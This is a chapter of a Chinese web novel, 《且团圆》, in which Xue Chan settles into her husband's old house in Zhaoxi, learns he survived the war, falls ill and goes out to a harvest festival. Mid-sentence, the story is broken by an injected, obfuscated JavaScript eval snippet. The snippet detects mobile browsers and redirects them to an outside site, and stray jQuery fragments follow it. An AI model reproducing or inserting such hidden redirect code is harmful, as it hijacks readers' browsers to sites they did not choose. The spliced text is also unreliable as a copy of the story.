118.待佳期
作品:《且团圆》 薛婵是将近七月底才到朝溪的。
虽然才将近八月,却比上京和玉川都要冷得多。
往朝溪前,薛婵曾手书给郑檀,告知此番前往的事情。
他们才到,就有江家的人来接。因两家离得远,除了成婚时的贺礼,她并没见过朝溪的江家人。
如今还是头一遭。
江策的这些叔伯婶姨,兄弟姐妹们也大多都是一脉的落拓英迈。
寒暄了一番,叔伯们就和薛承淮到别处去了,留下薛婵对着一群婶娘姐妹。
人一多起来,你一言我一语的,问得薛婵不知该先回答谁的问题。
约莫着是四婶,拉着薛婵打量了一番,欣慰又怅然。
“泊舟那个皮猴子,当真有这样斯文的姑娘,原先写信回来我还不大信。”
她像是低落下去,叹了口气:“泊舟他......。”
薛婵安静了一瞬,又想起江策说在朝溪的时候,这位婶娘很是照顾他。
有人戳了她一下,没好气道:“人大老远来一趟多不容易,还提这些伤心事!”
四婶这才止住泪,问薛婵:“你婆母还还好吗?我也有几年没见过她了,倒是二郎被送回来的时候,她还常写信寄物的托我们多照顾照顾二郎。”
薛婵微怔,瞧着四婶那关切的神情,想着大抵郁娘子在朝溪时和她们这些妯娌,关系应该还是挺好的。
“我走的时候,母亲身体还是很挺康健的。”
四婶婶这才点了点头,怅然道:“她也是......”
许是伤怀了一阵,她立刻拉着薛婵:“你来这儿,自也是你的家,安心住下便可。”
薛婵想了想问道:“我听母亲说,他们原先是有一处小宅的......”
“原先二郎他们家的住所还在,只不过自从去了上京,那就空了。如今空落落的。”
四婶其实是不大想让薛婵一个人住那,最易睹物思人,于是又劝她。
“你还是住在我们这儿吧,姐姐妹妹们在一处,有说话的人,也热热闹闹的。”
薛婵知道她是真心实意,便笑道:“原是有此意,可母亲说旧宅无人住,恐荒废可惜。既然来了,也该去看看。更何况泊舟也是......”
提到江策,四婶又蓦地有些伤感,便道:“也好,反正离得也不远,走动也方便。”
薛婵点点头,四婶便着人帮忙打扫屋子了。
第二日薛婵才到那一处小宅。
这处宅子一直都有人照管,几年前江策来朝溪的时候也都一直是住这儿的。
薛婵由着仆从引路进宅,慢慢走过每一处,过长廊,见一径修竹相连的则是一个小巧的后园。
甚至有一间琴室,一间画斋。
她先是进了琴室,因着很多东西都带走了,只余了一些琴谱。
那长案上却又置着一个琴盒。
薛婵小心打开,里头是一把极好的琴。
虽然放了多年,仍有人精心养护。她伸手一挑,琴声铮然。
“这样好的琴,怎么不带走呢?”
一旁的侍女道:“听妈妈说娘子走时特意没有带走,只叮嘱人时常养护。”
薛婵点点头,便也没问了。
她绕着小池进了另一侧的画斋里,甚至格架上都找到了江策幼时习的画。一些书的边边角角里,还有他不好好读书的涂画、碎句、抱怨。
“日早,画得差被先生骂糟蹋纸笔。”
下一句则是:“定要让先生刮目相看。”
薛婵笑了笑,往后一翻。
“算了吧。”
诸如此类,很多很多。
她在窗前一点点翻阅着,抚过那些已经在慢慢消散的痕迹。
“咕噜噜噜”
“咚、咚、咚”
薛婵闻声抬头,一棵高及房檐的柿子树直入眼帘。那树不知生长了多少年,生得极大,几处飞檐被掩了大半。
青叶疏疏,橙红缀点密密。
远远瞧着,是大片大片的灿烂,颇为震撼。
古朴的青瓦之上落满了柿子,星星点点迎光发亮。柿子落下去,被风一吹,就咕噜噜地滚到池塘里。
薛婵看着手里的画,又看了看窗框里的景。
春花已尽,夏木疏,秋草霜衰,冬雪来。
她提起笔,在同一个地方,同样的季节里,画下了相同的景。
“我就等着,等着今年的雪降下来,也算一起过年,且做团圆日了......”
薛婵捏着那幅稚嫩的《雪柿》,低声喃喃。
她在小宅里住了两三日,和薛承淮习书画,或江家的两个姊妹们一处煮茶听琴,倒也平静祥和。
在画斋里待久了,一时兴起的,带着人去摘那树上的柿子。
一篮篮火红晶蜜的柿子被摘下里,平静的日子也有了些甜丝丝的感觉。
霜降前日,四婶又托人请他们到府上过节。
因着离年也快近了,各处也都在早早洒扫准备。他们一家人子都在一处,也挺团圆热闹的。
薛婵到时,四婶并着两个姊妹正在裁制冬衣。
“你跋山涉水而来,想必也没有带太多东西,既然到了此处,不如也做些新衣裳吧。”四婶二话没说就拿着衣料在她身上比。
薛婵本想说什么,她倒是先猜准了,直道:“别的都不说,入了冬,就要新年了。就算是孝期,一两身衣裳算什么。心里记着就够了,又不是吹吹打打上街去张扬。”
她快言快语说了一堆,薛婵感怀之余也还是挺动容,便也认真选了起来。
“二郎小时候可皮了,新衣裳做的速度都赶不上坏的速度。他娘做东西细致,故而也慢,有一回到家里来,才做的衣裳登时就糟蹋没了,我还给他好一顿骂。他十来岁再回来的时候,倒是没那么淘气了,只是衣裳还容易坏。”
四婶娘提起旧事来,神情又柔和很多。
她们提及新衣一事,薛婵还又琢磨着,也该给几个丫头们裁制冬衣才是。
朝溪可比上京冷多了。
这边才亲亲热热坐在一处说话,外头悄悄地天就黑了。
侍女来催她们吃晚饭。
四婶娘风风火火走在前头,薛婵就和两个妹妹们走在一处,低低说话,讲一路上的见闻。
两人听得入迷,笑道:“二嫂子才来,朝溪的美景也多呢。想必还没去过白鹭汀吧,那可好了。咱们一起去呀,定教嫂子不白来。”
薛婵对上两人亮晶晶的眼,轻轻笑道:“好”
薛婵与薛承淮和四婶娘一家人聚在一起,过了霜降日。
才吃了饭,两个妹妹就拉着她在屋子里画九九消寒图。
看着薛婵的画,三妹妹托着脸道:“二嫂子就别着急回上京了,咱们制些风筝,等春天暖和的时候到白鹭汀去放风筝,去日暮坡骑马呀。”
薛婵一笔笔画着,笑道:“我呀,大抵是要看了朝溪的四季,再走的。”
江策和她说的那些地方,她都还没一一走过。
几人又凑在一处,叽叽咕咕说着过年要怎么过。
“嘟嘟嘟”
外头想起叩门声,四婶娘径直推开门进来,走到薛婵面前,抓住了她的肩膀,泪光闪烁。
“我才收到你四叔寄回来的信......”她微微颤着声,却又坚定,“二郎他,还活着。”
薛婵抬起头,缓慢辨别着她说的话,片刻后才问了一句。
“什么?”
四婶娘把信件给她:“这是随信寄回来的,二郎给你的信。”
薛婵接了信,入目便是信封上的“吾妻亲启”四个字。
只是她当时没有拆开,收信入袖,问了了些近况,得到平安尚好的消息之后,又坐回去慢慢绘制那几幅消寒图。
因着江策正从西戎手里,收夺长平山下的两座小城,一时半会儿还回不来。
薛婵离开江府回小宅后,云生几人倒是高兴的,说着要着人好好打扫家里,迎接他和又玉才是。
“姑娘觉得呢?”
云生和初桃莹月几人说了许久,也不见薛婵作声,又才问她的意见。
薛婵取出衣袖里的信,搁在镜台前,默默想了一会儿道:“他一时半会儿也回不来,着急这些做什么?”
初桃眨眨眼:“不着急这个,那着急什么?”
薛婵道:“你去下书信给江家两个妹妹,邀她们明日前往白鹭汀游玩。”
初桃和莹月虽不大明白,也没说什么,悄声出去着人准备布置了。
毕竟薛婵也只是说不着急,也没说不做呀。
云生则在屋内给薛婵磨墨,等写完后又递了出去。
等人都各自忙去了,薛婵才慢慢
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16905301|176526||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
拆了那信。
比起过往洋洋洒洒的几张信纸,这封信实在是可以称得上言简意赅。
“安好,待归。”
薛婵把信又收好,搁在镜台上安安静静睡去。
第二日早,她仍旧和江家姊妹们往白鹭汀游玩。
薛婵甚至还在傍晚霞光满天之时,乘船过汀州。水天绯红凝紫渐染开,一道墨山映斜阳。
她不知道是否和他见过同样的景,只是秋风霜寒,下船的时候她就打了个喷嚏。
“莫不是着了凉?请个大夫看看吧。”
薛婵咳了咳,笑道:“美景佳酿正好,生什么病呀。”
见她笑得畅然,几人又才在烟雨楼上以残阳入酒饮。
直至夜深,薛婵才伴着新起的秋霜回宅。
她饮了酒,整个人有些晕乎。
云生和初桃扶着她进屋,薛婵却在进门时又摆摆手,坐在了廊檐之下。
她就静静坐着,垂头看摆在廊下的两盆大菊。
薛婵取了莹月手里的一盏灯,起身半蹲下去看花。
这几盆秋菊是崔婶娘特意送来的,橘粉、莹碧、灿黄、珠白,可谓是花团锦簇,灿烂辉煌。
即使是在秋夜里,只有一盏灯,仍旧流光溢彩。
她轻声问:“还能开多久?”
过了一会儿,她又道。
“再开得久一些吧。”
只是世间之事大多不如人意,不尽圆满。
薛婵夜半就起了烧。
众人慌慌张张请医、开方,抓药,等到她这来势汹汹的病症平歇的时候,已经过去了好几天。
薛婵从上京到朝溪一路上康健得不得了,康健到薛承淮都极其欣慰。
可是临了,江策要回来了,她却病倒了。
她先是发了两天热,在第二日傍晚时分退了,随后便是多日的卧床休养。
待到江策等人胜归的消息传回朝溪,已经过去了小半月,连中秋节都过了。
朝溪的秋天要比上京玉川来得都要快一些。
廊檐下那些开得锦绣团簇花,只经一夜,都纷纷衰败。原先在日光底下泛光的花瓣,都褪了色。
云生很忧心,本来想让人都抱走的。
可是薛婵又说:“菊花一向衰败不坠头,虽然悴损了些,瞧着也挺有意思的,留着吧。”
天渐冷,那些花也就快开尽了。
一场雨,两场风,丝花满地落。
然而江策多半忙的很,忙到除了那一封信,再也没有任何消息递进来。
只在第十五天,送回了一大把繁盛红果。
云生将那两大枝果捧到床榻前,初桃扶起虚弱的薛婵起来看。她伸出手,指尖一点点触过那果子。
细密如珠,红艳累累,饱满极了。
薛婵轻轻折了一小支,由着初桃给她簪在简净无饰的鬓发上。青发红果,相应成趣,倒是别有意趣。
唯一不好的就是薛婵实在是太苍白虚弱,浓郁的颜色直衬得她面如脂膏。
“放在瓶中养起来吧。”
初桃才把薛婵饮尽的药碗收起来,扶着她歪在枕上休息。
薛婵埋头蜷身,青丝恹恹伏背。
云生瞧她似乎是睡着了的样子,轻手轻脚经过床榻时,压着声音初桃悄悄说话:“外头来了信,说郎君今日或者明日就能到家了。”
“真的?”初桃听这话眼一亮,拉着她的衣袖继续小声说话,“走了这么长久的路,总算是老天开眼得以团圆了。”
云生也笑:“可不是嘛。”
两人小小声说笑了一阵。
薛婵翻了个身,靠坐起来。
她问:“我爹呢?”
云生答她:“今外头过节呢,老大人说要去给你买好吃好玩儿的带回来。”
“过节?什么节?”
初桃插进话来:“说是庆贺秋收的节日,每年一次,可热闹了。”
薛婵靠着枕,看那瓷瓶里新开的花良久,开口。
“我们也出去过节吧。”
云生初桃两人面面相觑,本想着说她病还没好全的。
可是薛婵已经掀被下床,便也知道这门是非出不可了。
她们替薛婵净面梳鬟,换了夹衫厚裙后出门而去。
几个丫头们被薛婵带着出门玩儿了,院子里一瞬间空空荡荡。

